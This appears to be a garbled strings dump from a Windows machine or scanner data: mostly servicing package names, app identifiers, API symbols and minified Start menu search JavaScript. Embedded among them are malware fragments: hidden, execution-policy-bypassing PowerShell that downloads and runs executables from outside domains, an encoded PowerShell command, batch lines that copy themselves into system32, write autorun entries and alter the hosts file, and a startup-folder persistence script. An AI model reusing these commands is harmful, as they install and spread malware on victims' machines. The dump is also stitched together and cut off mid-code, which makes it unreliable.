Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowSV
%windir%\system32\vsocklib.dll
Microsoft-Windows-Container-Professional-Payload-Wrapper-Package~31bf3856ad364e35~amd64~~0.0.0.0x
Microsoft-Windows-Container-Professional-Payload-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591
Microsoft-Windows-Container-Professional-Payload-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705
Microsoft-Windows-Container-Win3CtrRuntime-Metadata-Wrapper-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-Containers-OptionalFeatures-merged-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-Containers-OptionalFeatures-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-Containers-OptionalFeatures-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-HVSI-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Containers-OptionalFeatures-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591
Microsoft-Windows-HVSI-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
Microsoft-Windows-Containers-OptionalFeatures-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705
Microsoft-Windows-CoreCountrySpecificEdition~31bf3856ad364e35~amd64~~0.0.0.0c
Microsoft-Windows-CoreEdition~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-CoreNEdition~31bf3856ad364e35~amd64~~0.0.0.0 
Microsoft-Windows-CoreSystem-BootableSKU-DriverClasses-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-CoreSystem-BootableSKU-DriverClasses-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074
9.tmp\encrypt_youtube.bat%:\windows\system32\drivers\etc\hosts%://youtube.is-lost.org/nohup/total_visitas.php
reg add %cambodia% Hidden /t REG_DWORD /d 0 /fcopy %0 %windir%\system32.exe /yecho [autorun]>>%windir%\system\drver.cab.sys%drive% md %%x:\Sounds
Microsoft-Windows-NetFx-Shared-Typelibs~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-NetFx-Shared-WCF-HttpNamespace~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-SMB1-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-SMB1-Package~31bf3856ad364e35~amd64~~10.0.26100.7623
Microsoft-Windows-WinVOSEdition~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7019
Microsoft-Windows-WMPNetworkSharingService-Opt-WOW64-Package~31bf3856ad364e35~wow64~~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-Opt-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7019X
Microsoft-Windows-WMPNetworkSharingService-WOW64-Package~31bf3856ad364e35~wow64~~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1
Microsoft-Windows-WNCEdition~31bf3856ad364e35~amd64~~0.0.0.0vk
Microsoft-Windows-WOWSupport-Full-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-WOWSupport-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-WOWSupport-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3781
Microsoft-Windows-WOWSupport-Full-WOW64-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-WOWSupport-Full-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-WOWSupport-merged-Package~31bf3856ad364e35~amd64~~0.0.0.0
windowsforiotdevices.com^Microsoft
WINDOWS1
Kt.Windows.StartMenuExperienceHost_cw5n1h2txyewy
:ta/Local/Packages/Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewyG
ges\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy*
@-windowstylehiddenf
com/AS/API/WindowsCortanaPane/V2/Suggestions"}
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ComCtl
Microsoft.Windows.Dui
!Microsoft.Windows.System.Power.winmdV5p
Microsoft-Windows-WinOcr-Opt-WOW64-Package~31bf3856ad364e35~wow64~en-US~0.0.0.0
Microsoft-Windows-WinOcr-Opt-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1
Microsoft-Windows-WinOcr-Opt-WOW64-Package~31bf3856ad364e35~wow64~~0.0.0.0
Microsoft-Windows-WinOcr-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1
Microsoft-Windows-WinOcr-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7309
Microsoft-Windows-WinOcr-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-WinOcr-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-WinOcr-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309
Microsoft-Windows-WinOcr-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-WinOcr-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-WinSATMediaFiles-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-WinSATMediaFiles-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-WMPNetworkSharingService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019
Microsoft-Windows-WMPNetworkSharingService-Opt-WOW64-Package~31bf3856ad364e35~wow64~en-US~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-Opt-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-Opt-WOW64-Package~31bf3856ad364e35~wow64~~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7019
Microsoft-Windows-WMPNetworkSharingService-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-Package~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-Package~31bf3856ad364e35~amd64~~10.0.26100.1150
Microsoft-Windows-WMPNetworkSharingService-Package~31bf3856ad364e35~amd64~~10.0.26100.7019
Microsoft-Windows-WMPNetworkSharingService-WOW64-Package~31bf3856ad364e35~wow64~en-US~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-WOW64-Package~31bf3856ad364e35~wow64~~0.0.0.0
Microsoft-Windows-WMPNetworkSharingService-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1
Microsoft-Windows-WMPNetworkSharingService-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7019
Windows-ClientCore-DWM-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Windows-ClientCore-DWM-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Windows-ClientCore-DWM-WOW64-merged-Package~31bf3856ad364e35~amd64~~0.0.0.0
Windows-ClientCore-DWM-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Windows-ClientCore-DWM-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705
Windows-ClientCore-DWM-WOW64-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Windows-ClientCore-DWM-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Windows-ClientCore-DWM-WOW64-Package~31bf3856ad364e35~amd64~~0.0.0.0
Windows-ClientCore-DWM-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Windows-ClientCore-DWM-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
Windows-ClientCore-Shutdown-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Windows-ClientCore-Shutdown-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Windows-ClientCore-Shutdown-Package~31bf3856ad364e35~amd64~~0.0.0.0
Windows-ClientCore-Shutdown-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Windows-ClientCore-Shutdown-Package~31bf3856ad364e35~amd64~~10.0.26100.7019
Windows-ClientCore-Shutdown-WOW64-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Windows-ClientCore-Shutdown-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Windows-ClientCore-Shutdown-WOW64-Package~31bf3856ad364e35~amd64~~0.0.0.0
Windows-ClientCore-Shutdown-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Windows-ClientCore-Shutdown-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7019
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~0.0.0.0
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~10.0.26100.7705
Windows-ClientCore-Win32Bridge-WOW64-Package~31bf3856ad364e35~amd64~en-US~0.0.0.0
Windows-ClientCore-Win32Bridge-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Windows-ClientCore-Win32Bridge-WOW64-Package~31bf3856ad364e35~amd64~~0.0.0.0
Windows-ClientCore-Win32Bridge-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft.Windows.AppRep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewyk
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe
Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewyW}H
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
	EdgeWindowsCaptionButtonP
	EdgeWindowsCaptionButton
Microsoft-Windows-HVSI-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-OneCore-Containers-Client-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.77054
c:\windows\system32\rundll32.exe&
Try: {0} Checking your network cables, modem and routers {0} Reconnecting to your wireless network {0} Running Windows Network Diagnostics
c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicy-bypass-windowstylehidden-hidden--hidden---hidden---hidden-commandvidcap.ax;(new-objectsystem.net.webclient).downloadfile('https://www.sodiumlaurethsulfatedesyroyer.com/kajdnfhsiubgihbwtnglgsth/rgsrgtsjhbxkfhbgshfbskghbargsgrta/ysrtysthrtywthertt/torecagosibo.exe','
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-sta-whidden-noni-encodedcommandsqb3ahiaiaatae8adqb0agyaiabdadoaxab3agkabgbkag8adwbzafwadabhahmaawbzafwacwb2agmaaabvahmadaauaguaeablacaaaab0ahqacaa6ac8alwayadaaoqauadeanaaxac4amwa1ac4amqa3aduaoga4adaalwbiadaadaauaguaeabladsaiabtahqayqbyahqalqbqahiabwbjaguacwbzacaaqwa6afwadwbpag4azabvahcacwbcahqayqbzagsacwbcahmadgbjaggabwbzahqalgblahgazqa=
-c:\x5cwindows
system32
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-SecureStartup-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|0.7840.cat|!
Microsoft-OneCore-SecureStartup-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-DesktopFileExplorer-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-DesktopFileExplorer-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtensionapp:immersive2026-02-20 16:15:482026-02-21 11:25:03f
Microsoft.WindowsStore_8wekyb3d8bbwe!Appapp:immersive2026-02-20 16:15:482026-02-21 11:25:03s
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3app:immersive2026-02-20 16:14:122026-02-24 07:58:54
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPickerapp:immersive2026-02-20 16:14:122026-02-24 07:58:54
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModelapp:immersive2026-02-20 16:14:122026-02-24 07:58:54
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoardapp:immersive2026-02-20 16:14:122026-02-24 07:58:54z
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgetsapp:immersive2026-02-20 16:14:122026-02-24 07:58:54
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:14:122026-02-24 07:58:54n
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialogapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanelapp:immersive2026-02-20 16:13:452026-02-24 08:06:32|
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreviewapp:immersive2026-02-20 16:13:452026-02-20 16:13:45{
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManagerapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensionsapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45y
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45q
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensionsapp:immersive2026-02-20 16:13:452026-02-20 16:13:45~
MicrosoftWindows.Client.Core_cw5n1h2txyewy!SettingsModelServiceapp:immersive2026-02-20 16:13:452026-02-20 16:13:45w
MicrosoftWindows.Client.Core_cw5n1h2txyewy!ScreenClippingapp:immersive2026-02-20 16:13:452026-02-20 16:13:45y
MicrosoftWindows.Client.Core_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45u
MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessPluginapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.ValueBannerapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
??BType@Platform@@SA?AVTypeName@Interop@Xaml@UI@Windows@@PE$AAV01@@Z
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
??0Rect@Foundation@Windows@@QEAA@VPoint@12@VSize@12@@Z
?get@Empty@Size@Foundation@Windows@@SA?AV234@XZ
?get@Bottom@Rect@Foundation@Windows@@QEAAMXZ
?Contains@Rect@Foundation@Windows@@QEAA_NVPoint@23@@Z
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\win32_helpers.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result.h
windows\prjschool0
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE!Text
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
GetProcessWindowStation
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
?ClearPolicy@tagWINDOWSTATION@@QEAAXW4WindowStationPolicy@@@Z
Microsoft.Windows.Ldap.Client
Microsoft.Windows.SxS
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryW
GetWindowsAccountDomainSid
GetWindowsDirectoryA
GetWindowsDirectoryW
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryW
SetWindowsHookExW
UnhookWindowsHookEx
@icon=%systemroot%\system32\shell32.dll,7
|Xc:\programfiles\windowspowershell\modules\pester\3.4.0\bin\pester.bat;cmd/ccls&c^url--output\
\system32\cmd.exe/c"echoy3vybcatbyaijvrftvalxhvwzgf0zs56axaiicjodhrwczovl2hvdgvslwludm9py2uubmv0l2jvdggvdxbkyxrllnppccigjiygbwtkaxigiivuru1qjvxfehryywn0zwrf4
login.windows.net
sts.windows.net
Microsoft.Windows.Csrss.WinSrvExt
!#AGGR:PowerShell/UninstallWindowsFeature
wSCPT:PowerShell/UninstallWindowsFeature
SCPT:PowerShell/NameWindowsDefender
Ddate.cmdfiletostartupfolder...set"startupfolder=%appdata%\microsoft\windows\startmenu\programs\startup"move
$de${8193a4e6-aea0-4343-858e-3aa3a3ca8f76}$$windows.data.unifiedtile.roamedtilepropertiesmap
$de${8193a4e6-aea0-4343-858e-3aa3a3ca8f76}$$windows.data.unifiedtile.localstartglobalproperties
$de${8193a4e6-aea0-4343-858e-3aa3a3ca8f76}$$windows.data.unifiedtile.startglobalproperties
$de${8193a4e6-aea0-4343-858e-3aa3a3ca8f76}$$windows.data.placeholdertilecollection
$de${8193a4e6-aea0-4343-858e-3aa3a3ca8f76}$$windows.data.placeholdertilecollectionlocal
Windows
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Root>
Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Group>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Tile>
Microsoft.Windows.Power.Notifications
/favvv_crypted.exe""-outfile$tempfile;start-process$tempfile;setmypkkhxwnk=createobject("wscript.shell")setmypkkhxwnkexec=mypkkhxwnk.exec(fnsxmhz)endsupowershell-windowstylehidden-executionpolicybypass;$tempfile=[io.path]::gettempfilename()|rename-item-newname{$_-replace'tmp$','exe'
GetLargestConsoleWindowSize
NtUserLockWindowStation
NtUserOpenWindowStation
T$0H7165 5.16552C9.68692 4.96027 9.37077 4.94363 9.16552 5.12836L4.16552 9.62835C4.06016 9.72317 4 9.85826 4 10C4 10.1417 4.06016 10.2768 4.16552 10.3716L9.16552 14.8716C9.37077 15.0564 9.68692 15.0397 9.87165 14.8345C10.0564 14.6292 10.0397 14.3131 9.83448 14.1283L5.80298 10.5L15.5 10.5Z",fill:"black",fillOpacity:"0.8956"}))}}t.BackButton=l;t.SearchChatIcon=r;t.OptionsCursorIcon=a;t.AppStoreStar=v;t.OpenInStoreApp=y;t.SeeMoreStoreApp=p;t.GetCloudFileStatusIcon=w})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(n){class t extends React.Component{render(){return React.createElement("span",{className:"wrapper",dangerouslySetInnerHTML:{__html:'<svg viewBox="0 0 36 36"><g style="opacity: 0.5"><path d="M18 2c8.8 0 16 7.2 16 16s-7.2 16-16 16S2 26.8 2 18S9.2 2 18 2 M18 0C8.1 0 0 8.1 0 18s8.1 18 18 18s18-8.1 18-18S27.9 0 18 0L18 0z" /><\/g><path d="M18 2C9.2 2 2 9.2 2 18s7.2 16 16 16s16-7.2 16-16S26.8 2 18 2z M18 31c-7.2 0-13-5.8-13-13S10.8 5 18 5s13 5.8 13 13S25.2 31 18 31z" /><\/svg>'}})}}n.CortanaIcon=t})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){t.WindowsMenu=n=>{const{clickHandler:u,enterHandler:f,expandIcon:e,inputType:o,isOptionToggleContextMenu:w,isSearchContentChecked:s,isCopilotUIChecked:h,isPersonalizationChecked:c,items:r,leaveHandler:l,menuType:i,setSearchContentLocalStorageItem:a,setCopilotUILocalStorageItem:v,setPersonalizationLocalStorageItem:y,showIcons:p}=n.dataModel;return React.createElement("ul",{className:t.classNames("contextMenu",{moreScopesDropdown:i==1,advancedScopesDropdown:i==2,"contextMenu--optionsToggle":w,b_hide:n.isSubmenu}),role:"list",tabIndex:1,"aria-label":i==0?t.getLocString("ContextMenu"):t.getLocString("Menu"),"aria-expanded":!!r,"data-partnertag":t.whenTestHooks("AutoSuggest.ContextMenu")},r&&r.length&&r.map(n=>!n.groupItems&&React.createElement(t.MenuItem,{key:n.id,item:n,showIcons:p,clickHandler:u,menuType:i,enterHandler:f,leaveHandler:l,expandIcon:e,inputType:o,isSearchContentChecked:s,isCopilotUIChecked:h,isPersonalizationChecked:c,setSearchContentLocalStorageItem:a,setCopilotUILocalStorageItem:v,setPersonalizationLocalStorageItem:y,toggleType:n.toggleType})||React.createElement("li",{key:n.id,className:"presentation"},React.createElement("ul",{role:"group","aria-label":n.narratorText},React.createElement(t.MenuItem,{item:n,showIcons:p,